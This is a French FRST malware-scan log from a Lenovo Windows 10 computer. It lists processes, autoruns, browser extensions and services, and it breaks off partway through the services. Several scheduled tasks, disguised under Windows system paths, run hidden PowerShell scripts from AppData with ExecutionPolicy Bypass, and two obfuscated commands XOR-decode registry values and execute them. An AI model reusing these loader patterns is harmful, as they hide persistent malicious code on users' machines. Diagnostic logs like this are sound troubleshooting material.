Résultats d'analyse de Farbar Recovery Scan Tool (FRST) (x64) Version: 03-10-2023 Exécuté par lenovo (administrateur) sur DESKTOP-HEJL04D (LENOVO 20J5S05W00) (04-11-2023 15:10:52) Exécuté depuis C:\Users\lenovo\Desktop\FRST64.exe Profils chargés: lenovo Plate-forme: Microsoft Windows 10 Professionnel Version 22H2 19045.3570 (X64) Langue: Français (France) Navigateur par défaut: Opera Mode d'amorçage: Normal ==================== Processus (Avec liste blanche) ================= (Si un élément est inclus dans le fichier fixlist.txt, le processus sera arrêté. Le fichier ne sera pas déplacé.) (C:\Program Files\Opera\opera.exe ->) (Opera Norway AS -> Opera Software) C:\Program Files\Opera\103.0.4928.47\opera_crashreporter.exe (C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe ->) (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe <2> (C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe ->) (Synaptics Incorporated -> Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe (C:\Users\lenovo\AppData\Roaming\bittorrent\BitTorrent.exe ->) (Rainberry Inc -> BitTorrent Inc.) C:\Users\lenovo\AppData\Roaming\bittorrent\helper\helper.exe (C:\Users\lenovo\AppData\Roaming\bittorrent\BitTorrent.exe ->) (Rainberry Inc -> BitTorrent Inc.) C:\Users\lenovo\AppData\Roaming\bittorrent\updates\7.11.0_46903\bittorrentie.exe <2> (C:\Users\lenovo\AppData\Roaming\bittorrent\updates\7.11.0_46903\bittorrentie.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\118.0.2088.76\msedgewebview2.exe <7> (C:\Users\lenovo\AppData\Roaming\TeraBox\terabox.exe ->) (FLEXTECH INC. -> Flextech Inc.) C:\Users\lenovo\AppData\Roaming\TeraBox\teraboxhost.exe <2> (C:\Users\lenovo\AppData\Roaming\TeraBox\terabox.exe ->) (FLEXTECH INC. -> Flextech Inc.) C:\Users\lenovo\AppData\Roaming\TeraBox\teraboxrender.exe <2> (C:\Users\lenovo\AppData\Roaming\TeraBox\terabox.exe ->) (FLEXTECH INC. -> Flextech Inc.) C:\Users\lenovo\AppData\Roaming\TeraBox\teraboxwebservice.exe (DriverStore\FileRepository\cui_dch.inf_amd64_2bee269ff6068a49\igfxCUIService.exe ->) (Intel Corporation -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_2bee269ff6068a49\igfxEM.exe (explorer.exe ->) (Rainberry Inc -> BitTorrent Inc.) C:\Users\lenovo\AppData\Roaming\bittorrent\BitTorrent.exe (FLEXTECH INC. -> Flextech Inc.) C:\Users\lenovo\AppData\Roaming\TeraBox\terabox.exe (Intel Corporation -> ) C:\Program Files\Intel\SUR\QUEENCREEK\x64\esrv.exe (Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe <5> (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\Taskmgr.exe (Opera Norway AS -> Opera Software) C:\Program Files\Opera\opera.exe <76> (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe (services.exe ->) (AlphaTheta Corporation -> AlphaTheta Corporation) C:\Program Files (x86)\Pioneer\FwUpdateManager\FwUpdateManager.exe (services.exe ->) (Apple Inc. -> Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe (services.exe ->) (CyberLink Corp. -> CyberLink) C:\Program Files\CyberLink\Shared files\RichVideo64.exe (services.exe ->) (Dolby Laboratories, Inc. -> Dolby Laboratories, Inc.) C:\Program Files\Dolby\Dolby DAX2\DAX2_API\DolbyDAX2API.exe (services.exe ->) (Intel Corporation -> ) C:\Program Files\Intel\SUR\QUEENCREEK\SurSvc.exe (services.exe ->) (Intel Corporation -> ) C:\Program Files\Intel\SUR\QUEENCREEK\x64\esrv_svc.exe (services.exe ->) (Intel Corporation -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_2bee269ff6068a49\igfxCUIService.exe (services.exe ->) (Intel Corporation -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igcc_dch.inf_amd64_b56b111c605faf54\OneApp.IGCC.WinService.exe (services.exe ->) (Intel Corporation -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\iigd_dch.inf_amd64_0f12908b4ff13ff7\IntelCpHDCPSvc.exe (services.exe ->) (Intel Corporation -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\iigd_dch.inf_amd64_0f12908b4ff13ff7\IntelCpHeciSvc.exe (services.exe ->) (Intel Corporation -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\lms.inf_amd64_fddb643595e0b8d0\LMS.exe (services.exe ->) (Intel Corporation -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\mewmiprov.inf_amd64_cad1db73e8c782a6\WMIRegistrationService.exe (services.exe ->) (Intel Corporation -> Intel Corporation) C:\Windows\System32\IPROSetMonitor.exe (services.exe ->) (Intel Corporation -> Intel) C:\Program Files (x86)\Intel\Driver and Support Assistant\DSAService.exe (services.exe ->) (Intel Corporation -> Intel) C:\Program Files (x86)\Intel\Driver and Support Assistant\DSAUpdateService.exe (services.exe ->) (Intel(R) Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\dal.inf_amd64_b5484efd38adbe8d\jhi_service.exe (services.exe ->) (Intel(R) Rapid Storage Technology -> Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe (services.exe ->) (Lenovo -> Lenovo Group Limited) C:\Windows\SysWOW64\EasyResume.exe (services.exe ->) (Lenovo -> Lenovo) C:\Windows\System32\DriverStore\FileRepository\ibmpmdrv.inf_amd64_02d728b29c6492d3\x64\ibmpmsvc.exe (services.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe (services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe (services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\NisSrv.exe (services.exe ->) (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe (services.exe ->) (Samsung Electronics CO., LTD. -> DEVGURU Co., LTD.) C:\Program Files\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe (services.exe ->) (Samsung Electronics Co., Ltd. -> DEVGURU Co., LTD.) C:\Program Files\Samsung\USB Drivers\28_ssconn2\conn\ss_conn_service2.exe (services.exe ->) (Synaptics Incorporated -> Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe (svchost.exe ->) (24803D75-212C-471A-BC57-9EF86AB91435 -> ) C:\Program Files\WindowsApps\5319275A.WhatsAppDesktop_2.2342.7.0_x64__cv1g1gvanyjgm\WhatsApp.exe (svchost.exe ->) (CyberLink Corp. -> CyberLink Corp.) C:\Program Files (x86)\CyberLink\Shared files\PDStyleAgent\PDStyleAgent.exe (svchost.exe ->) (EB51A5DA-0E72-4863-82E4-EA21C1F8DFE3 -> Intel Corporation) C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.5185.0_x64__8j3eq9eme6ctt\IGCC.exe (svchost.exe ->) (Infatica pte ltd -> ) C:\Program Files (x86)\Infatica P2B\infatica-service-app.exe (svchost.exe ->) (Intel Corporation -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_2bee269ff6068a49\igfxext.exe (svchost.exe ->) (Lenovo -> Lenovo) C:\Windows\SysWOW64\Lenovo\PowerMgr\PowerMgr.exe (svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\ImmersiveControlPanel\SystemSettings.exe (svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe (svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe (svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\wlanext.exe (Synaptics Incorporated -> Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe ==================== Registre (Avec liste blanche) =================== (Si un élément est inclus dans le fichier fixlist.txt, l'élément de Registre sera restauré à la valeur par défaut ou supprimé. Le fichier ne sera pas déplacé.) HKLM\...\Run: [Opera Browser Assistant] => C:\Program Files\Opera\assistant\browser_assistant.exe [1752480 2023-10-06] (Opera Norway AS -> Opera Software) HKLM\...\Run: [IAStorIcon] => C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe [321112 2019-07-29] (Intel(R) Rapid Storage Technology -> Intel Corporation) HKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [59720 2013-09-13] (Apple Inc. -> Apple Inc.) HKLM-x32\...\Run: [QuickTime Task] => C:\Program Files (x86)\QuickTime\QTTask.exe [421888 2014-01-17] (Apple Inc.) [Fichier non signé] HKLM-x32\...\Run: [Wondershare Helper Compact.exe] => C:\Program Files (x86)\Common Files\Wondershare\Wondershare Helper Compact\WSHelper.exe [2133728 2017-09-12] (Wondershare Technology Co.,Ltd -> Wondershare) HKLM-x32\...\Run: [Adobe CCXProcess] => C:\Program Files (x86)\Adobe\Adobe Creative Cloud Experience\CCXProcess.exe [129288 2023-06-13] (Adobe Inc. -> ) HKU\S-1-5-21-362404605-845752405-3669646816-1001\...\Run: [ut] => C:\Users\lenovo\AppData\Roaming\uTorrent\uTorrent.exe [2258440 2023-09-19] (Rainberry Inc -> BitTorrent Inc.) HKU\S-1-5-21-362404605-845752405-3669646816-1001\...\Run: [TeraBox] => C:\Users\lenovo\AppData\Roaming\TeraBox\TeraBox.exe [7143016 2023-10-25] (FLEXTECH INC. -> Flextech Inc.) HKU\S-1-5-21-362404605-845752405-3669646816-1001\...\Run: [TeraBoxWeb] => C:\Users\lenovo\AppData\Roaming\TeraBox\TeraBoxWebService.exe [1139824 2023-10-25] (FLEXTECH INC. -> Flextech Inc.) HKU\S-1-5-21-362404605-845752405-3669646816-1001\...\Run: [MicrosoftEdgeAutoLaunch_B8188322885C6DD24FAC5C8FE26E079B] => "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 [4187176 2023-10-27] (Microsoft Corporation -> Microsoft Corporation) HKU\S-1-5-21-362404605-845752405-3669646816-1001\...\Run: [bt] => C:\Users\lenovo\AppData\Roaming\bittorrent\BitTorrent.exe [2261000 2023-09-19] (Rainberry Inc -> BitTorrent Inc.) HKLM\Software\Microsoft\Active Setup\Installed Components: [{8A69D345-D564-463c-AFF1-A69D9E530F96}] -> C:\Program Files\Google\Chrome\Application\119.0.6045.105\Installer\chrmstp.exe [2023-11-03] (Google LLC -> Google LLC) GroupPolicy\User: Restriction ? <==== ATTENTION ==================== Tâches planifiées (Avec liste blanche) ================= (Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.) Task: {278EABF1-9A9C-4B57-8C80-00DC1757AA19} - System32\Tasks\Apple\AppleSoftwareUpdate => C:\Program Files (x86)\Apple Software Update\SoftwareUpdate.exe [561984 2011-06-01] (Apple Inc. -> Apple Inc.) Task: {53A0F1E8-20AC-4A39-8A0C-DF8D75236E44} - System32\Tasks\CCleanerSkipUAC - lenovo => D:\torrent\CCleaner 6.03.10002 Technician Edition (x64)\Data\CCleaner64.exe [38274576 2023-02-12] (Piriform Software Ltd -> Piriform Software Ltd) [Fichier non signé] Task: {AD08C373-78E4-4D89-B496-15047EE60E68} - System32\Tasks\CLToast => C:\Program Files (x86)\CyberLink\Shared files\CLToast.exe [2322472 2023-04-27] (CyberLink Corp. -> ) Task: {98A608CC-AD86-481C-9DBC-B01AFE46C941} - System32\Tasks\CLToastRun => C:\Program Files (x86)\CyberLink\Shared files\CLToast.exe [2322472 2023-04-27] (CyberLink Corp. -> ) Task: {65D1D9A1-DF1D-4EE1-B4F4-578C37687878} - System32\Tasks\GoogleUpdateTaskMachineCore{474FC812-5A0F-4FA8-95E0-0B2737821B0F} => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [171480 2022-09-15] (Google LLC -> Google LLC) Task: {4EBCC3B2-8683-442D-A809-F6DE33A5B77F} - System32\Tasks\GoogleUpdateTaskMachineUA{CD1416CF-BBB5-45A1-A901-CE10DA87EE69} => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [171480 2022-09-15] (Google LLC -> Google LLC) Task: {D62F807F-B4AE-48F0-8B47-1051C3427FB9} - System32\Tasks\infatica_p2b => C:\Program Files (x86)\Infatica P2B\infatica-service-app.exe [20072 2021-12-04] (Infatica pte ltd -> ) Task: {F10A6BA7-593B-48A2-8AA2-DFBBB3EEBE58} - System32\Tasks\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132 => C:\Program Files\Intel\SUR\QUEENCREEK\Updater\bin\IntelSoftwareAssetManagerService.exe [4850904 2023-05-24] (Intel Corporation -> Intel Corporation) Task: {82B7E865-4F27-42C5-B8BA-A55B8BA44FC9} - System32\Tasks\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132-Logon => C:\Program Files\Intel\SUR\QUEENCREEK\Updater\bin\IntelSoftwareAssetManagerService.exe [4850904 2023-05-24] (Intel Corporation -> Intel Corporation) Task: {B313A057-ADD6-42F8-9AEA-5108DA3AB327} - System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473 => C:\Program Files (x86)\Intel\Intel(R) Update Manager\bin\iumsvc.exe --automatic (Pas de fichier) Task: {AC829564-9640-4EDC-9A5A-8762DD1B16BC} - System32\Tasks\klcp_update => C:\Program Files (x86)\K-Lite Codec Pack\Tools\CodecTweakTool.exe [2113024 2023-05-12] () [Fichier non signé] Task: {7F8D4F43-287C-452C-82A2-414B922F7C0F} - System32\Tasks\Lenovo\Power Manager\Background monitor => C:\Windows\SysWOW64\Lenovo\PowerMgr\PowerMgr.exe [129016 2022-12-04] (Lenovo -> Lenovo) Task: {170B27A2-C24E-4508-81CF-742ED99B55D8} - System32\Tasks\Lenovo\Power Manager\Uninstall task => C:\Windows\SysWOW64\PowerMgrInst.exe [64984 2022-05-17] (Lenovo -> ) Task: {659CCE31-1B05-464D-9AE3-D7D3CBCB6DD6} - System32\Tasks\Microsoft\Windows\Feedback\gZYYbQ4U => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [493568 2023-10-12] (Microsoft Windows -> Microsoft Corporation) -> -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\lenovo\AppData\Roaming\Sidify Music Converter\A0rUE.ps1" Task: {6DCC19E7-162E-4EB2-BF79-31FB2FDB2702} - System32\Tasks\Microsoft\Windows\Flighting\ojG6yl1M => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [493568 2023-10-12] (Microsoft Windows -> Microsoft Corporation) -> -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Windows\System32\1A895985-21F0-4091-9C4B-BDEB0BA07A46.ps1" <==== ATTENTION Task: {7A47C5B4-B4D3-4859-BAA3-FE0B64965055} - System32\Tasks\Microsoft\Windows\Management\Provisioning\DaPnlfK4\887A2BC4-22E0-40EA-A375-31F5DB06B88F => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [493568 2023-10-12] (Microsoft Windows -> Microsoft Corporation) -> -wIndowSTyLe hiDDeN -CommAnd "iCm ([sCripTBloCK]::CREatE([sTRIng]::jOIN('', ((geT-ITEMPrOPerty -PAth 'HKLM:\SofTWArE\SRS LABSdapnlfK4z').'DApnlfk4ZOJ' | % { [cHAr]($_ -bxoR 211) }))))" Task: {9993D0F8-0DFA-4329-87A8-BA8F1D04EC8B} - System32\Tasks\Microsoft\Windows\Management\Provisioning\vcfPgfct6\B2A7AC95-5697-43F9-ACCB-2921B86B1CF2 => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [493568 2023-10-12] (Microsoft Windows -> Microsoft Corporation) -> -wIndOwStYLE hiDdEN -cOmmanD "IcM ([scrIpTBloCK]::cREAtE([sTRIng]::jOIn('', ((geT-iteMpRoPERty -PATh 'Hklm:\sOFTWAre\OpEnSShVCFPG').'VCfpgfc' | % { [cHAR]($_ -Bxor 205) }))))" Task: {DEB49241-ABE1-435B-9439-FADC1E0BD6D4} - System32\Tasks\Microsoft\Windows\Ras\MobilityManagerC54QkC => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [493568 2023-10-12] (Microsoft Windows -> Microsoft Corporation) -> -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\lenovo\AppData\Roaming\Other\WYt7z8.ps1" Task: {D2AF0867-F1BA-47B9-B1A8-7DA3C27A6C02} - System32\Tasks\Microsoft\Windows\Shell\UpdateUserPictureTaskwZVxa => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [493568 2023-10-12] (Microsoft Windows -> Microsoft Corporation) -> -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\lenovo\AppData\Roaming\lddownloader\DgzwGPkM.ps1" Task: {DDAC5829-4892-4866-9DEF-1DFCEDC39F32} - System32\Tasks\Microsoft\Windows\WDI\ResolutionHostwEArKt => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [493568 2023-10-12] (Microsoft Windows -> Microsoft Corporation) -> -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\lenovo\AppData\Roaming\soundloaders\Jv79gM0.ps1" Task: {D1F41672-C936-43B4-909D-3FEB0F9B5A50} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MpCmdRun.exe [1596304 2023-10-05] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {09557908-9C32-442A-A667-572AB94CFC10} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MpCmdRun.exe [1596304 2023-10-05] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {68C4BFB4-7717-49EC-BC57-78D27F7B59D5} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MpCmdRun.exe [1596304 2023-10-05] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {1D4103AE-F570-40E6-8387-F926F0B3E2B0} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MpCmdRun.exe [1596304 2023-10-05] (Microsoft Windows Publisher -> Microsoft Corporation) Task: {2E090723-12D7-4F6B-8CD7-7D1B7AEFC26F} - System32\Tasks\Microsoft\Windows\WS\M50iw4Z7 => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [493568 2023-10-12] (Microsoft Windows -> Microsoft Corporation) -> -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\lenovo\AppData\Roaming\com.adobe.dunamis\gONIlXv.ps1" Task: {21662F1E-9E9C-4337-ACD7-787728145F74} - System32\Tasks\Mozilla\Firefox Background Update 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\firefox.exe [676768 2023-10-28] (Mozilla Corporation -> Mozilla Corporation) -> --MOZ_LOG sync,prependheader,timestamp,append,maxsize:1,Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate.moz_log --backgroundtask backgroundupdate Task: {D7CC02E8-9A06-4B8F-B531-58343AE136E8} - System32\Tasks\Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\default-browser-agent.exe [723872 2023-10-28] (Mozilla Corporation -> Mozilla Foundation) Task: {3FE9A49E-A726-48CF-B771-5151621CC26D} - System32\Tasks\Opera scheduled assistant Autoupdate 1663259675 => C:\Program Files\Opera\launcher.exe [2820000 2023-10-24] (Opera Norway AS -> Opera Software) -> --scheduledautoupdate --component-name=assistant --component-path="C:\Program Files\Opera\assistant" $(Arg0) Task: {BEC54474-F7B2-482C-AFE0-0C9E66BDDFBB} - System32\Tasks\Opera scheduled Autoupdate 1663259668 => C:\Program Files\Opera\launcher.exe [2820000 2023-10-24] (Opera Norway AS -> Opera Software) Task: {FF2CBEE5-B68E-4AEB-9680-C0A753A9A8AB} - System32\Tasks\PowerDirectorStyleAgent => C:\Program Files (x86)\CyberLink\Shared files\PDStyleAgent\PDStyleAgent.exe [102952 2023-04-27] (CyberLink Corp. -> CyberLink Corp.) Task: {32ED4EB4-C5AC-4012-8CFF-635129D4043D} - System32\Tasks\RtHDVBg_Dolby => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [3618912 2022-05-17] (Realtek Semiconductor Corp. -> Realtek Semiconductor) Task: {4621C087-E9C6-4E83-941C-6FBB61D339A3} - System32\Tasks\RTKCPL => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [3618912 2022-05-17] (Realtek Semiconductor Corp. -> Realtek Semiconductor) Task: {2E474E62-ADC3-4324-AA2A-2DD6A2B30A40} - System32\Tasks\USER_ESRV_SVC_QUEENCREEK => C:\Windows\System32\Wscript.exe [170496 2023-10-12] (Microsoft Windows -> Microsoft Corporation) -> //B //NoLogo "C:\Program Files\Intel\SUR\QUEENCREEK\x64\task.vbs" (Si un élément est inclus dans le fichier fixlist.txt, le fichier tâche (.job) sera déplacé. Le fichier exécuté par la tâche ne sera pas déplacé.) ==================== Internet (Avec liste blanche) ==================== (Si un élément est inclus dans le fichier fixlist.txt, s'il s'agit d'un élément du Registre, il sera supprimé ou restauré à la valeur par défaut.) Winsock: Catalog5 08 C:\Program Files (x86)\Bonjour\mdnsNSP.dll [122128 2015-08-12] (Apple Inc. -> Apple Inc.) Winsock: Catalog5-x64 08 C:\Program Files\Bonjour\mdnsNSP.dll [133392 2015-08-12] (Apple Inc. -> Apple Inc.) Tcpip\Parameters: [DhcpNameServer] 41.214.140.4 41.214.140.5 8.8.8.8 Tcpip\..\Interfaces\{10729243-0b90-4a02-ac08-ee1371404789}: [NameServer] 1.1.1.1,1.0.0.1 Tcpip\..\Interfaces\{10729243-0b90-4a02-ac08-ee1371404789}: [DhcpNameServer] 41.214.140.4 41.214.140.5 8.8.8.8 Tcpip\..\Interfaces\{56840910-297e-4ce0-b4a7-dfeae184ee53}: [NameServer] 1.1.1.1,1.0.0.1 Tcpip\..\Interfaces\{7635ec8b-6efa-4c6d-ba6d-2cfff60491f8}: [NameServer] 1.1.1.1,1.0.0.1 Tcpip\..\Interfaces\{7d08a675-ce3e-483e-abb5-ea844dfadea9}: [NameServer] 1.1.1.1,1.0.0.1 Tcpip\..\Interfaces\{7d08a675-ce3e-483e-abb5-ea844dfadea9}: [DhcpNameServer] 41.214.140.4 41.214.140.5 8.8.8.8 Tcpip\..\Interfaces\{8dda7d9d-140e-4325-b2fe-581b9a7a6a60}: [NameServer] 1.1.1.1,1.0.0.1 Edge: ======= Edge DefaultProfile: Default Edge Profile: C:\Users\lenovo\AppData\Local\Microsoft\Edge\User Data\Default [2023-11-04] Edge Extension: (TeraBox Download Assistant) - C:\Users\lenovo\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\dpadflhmiohjfhhaehelneimpllfbpcg [2023-10-03] Edge Extension: (Google Docs hors connexion) - C:\Users\lenovo\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2023-10-01] Edge Extension: (Edge relevant text changes) - C:\Users\lenovo\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha [2023-10-01] Edge HKU\S-1-5-21-362404605-845752405-3669646816-1001\SOFTWARE\Microsoft\Edge\Extensions\...\Edge\Extension: [dpadflhmiohjfhhaehelneimpllfbpcg] - C:\Users\lenovo\AppData\Roaming\TeraBox\terabox_ext_chrome.crx [2023-07-13] FireFox: ======== FF DefaultProfile: 420pk4ec.default FF ProfilePath: C:\Users\lenovo\AppData\Roaming\Mozilla\Firefox\Profiles\420pk4ec.default [2022-09-18] FF ProfilePath: C:\Users\lenovo\AppData\Roaming\Mozilla\Firefox\Profiles\dnr8xcn7.default-release [2023-11-04] FF Session Restore: Mozilla\Firefox\Profiles\dnr8xcn7.default-release -> est activé. FF Extension: (Adblock Plus - bloqueur de publicités gratuit) - C:\Users\lenovo\AppData\Roaming\Mozilla\Firefox\Profiles\dnr8xcn7.default-release\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2023-09-16] FF Extension: (Splatoon 2 Colours [Theme]) - C:\Users\lenovo\AppData\Roaming\Mozilla\Firefox\Profiles\dnr8xcn7.default-release\Extensions\{d6eb3386-e265-4e53-8cee-6c63097ce382}.xpi [2023-04-24] FF Plugin: @videolan.org/vlc,version=3.0.17.4 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2022-03-24] (VideoLAN -> VideoLAN) Chrome: ======= CHR HKU\S-1-5-21-362404605-845752405-3669646816-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [dpadflhmiohjfhhaehelneimpllfbpcg] - C:\Users\lenovo\AppData\Roaming\TeraBox\terabox_ext_chrome.crx [2023-07-13] Opera: ======= OPR DefaultProfile: Opera Stable OPR Profile: C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable [2023-11-04] OPR DefaultSearchURL: Opera Stable -> hxxps://www.google.com/search?client=opera&q={searchTerms}&sourceid=opera&ie={inputEncoding}&oe={outputEncoding} OPR DefaultSearchKeyword: Opera Stable -> g OPR Extension: (Rich Hints Agent) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\enegjkbbakeegngfapepobipndnebkdk [2023-10-17] OPR Extension: (MyJDownloader Browser Extension) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\fbclnkmbcmdfamfeaagadifibbongnmf [2022-10-23] OPR Extension: (Opera Wallet) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\gojhcdgcpbpfigcaejpfhfegekdgiblk [2023-09-15] OPR Extension: (Aria) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\igpdmclhhlcpoindmhkhillbfhdgoegm [2023-10-18] OPR Extension: (Audio Downloader Prime) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\ilkcaefpbkjlblfgdgghmnaeffpflfah [2023-06-23] OPR Extension: (Amazon Assistant Promotion) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\kbmoiomgmchbpihhdpabemajcbjpcijk [2022-09-15] OPR Extension: (Google Traduction) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\mchdgimobfnilobnllpdnompfjkkfdmi [2023-10-23] OPR Extension: (Shazam : le nom des chansons en un clic) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\mmioliijnhnoblpgimnlajmefafdfilb [2023-10-21] OPR Extension: (Adblock Plus - bloqueur de publicités gratuit) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\oidhhegpmlfpoeialbgcdocjalghfpkp [2023-10-26] OPR Extension: (Page Captures d'écran Web - Fireshot) - C:\Users\lenovo\AppData\Roaming\Opera Software\Opera Stable\Extensions\pbjmgmedeliohhbaefhlplndokcbmjio [2023-06-10] OPR Extension: (opera-intro) - C:\Program Files\Opera\103.0.4928.34\resources\opera_intro_extension [2023-10-18] OPR Extension: (Google Sheets) - C:\Extension\8.3.8._0 [2023-10-31] ==================== Services (Avec liste blanche) =================== (Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.) S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [9880840 2023-02-15] (BattlEye Innovations e.K. -> ) R2 Dolby DAX2 API Service; C:\Program Files\Dolby\Dolby DAX2\DAX2_API\DolbyDAX2API.exe [189464 2020-06-02] (Dolby Laboratories, Inc. -> Dolby Laboratories, Inc.) R2 DSAService; C:\Program Files (x86)\Intel\Driver and Support Assistant\DSAService.exe [43784 2023-09-25] (Intel Corporation -> Intel) R3 DSAUpdateService; C:\Program Files (x86)\Intel\Driver and Support Assistant\DSAUpdateService.exe [240392 2023-09-25] (Intel Corporation -> Intel) R2 FwUpdateManager; C:\Program Files (x86)\Pioneer\FwUpdateManager\FwUpdateManager.exe [1172368 2022-09-06] (AlphaTheta Corporation -> AlphaTheta Corporation) R2 IBMPMSVC; C:\Windows\System32\DriverStore\FileRepository\ibmpmdrv.inf_amd64_02d728b29c6492d3\x64\ibmpmsvc.exe [850936 2022-11-24] (Lenovo -> Lenovo) R2 Lenovo Instant On; C:\Windows\SysWOW64\EasyResume.exe [2352368 2022-05-17] (Lenovo -> Lenovo Group Limited) S2 LPlatSvc; C:\Windows\System32\DriverStore\FileRepository\ibmpmdrv.inf_amd64_02d728b29c6492d3\x64\LPlatSvc.exe [906232 2022-11-24] (Lenovo -> Lenovo) S3 npggsvc; C:\Windows\SysWOW64\GameMon.des [11654776 2023-02-18] (INCA Internet Co.,Ltd. -> INCA Internet Co., 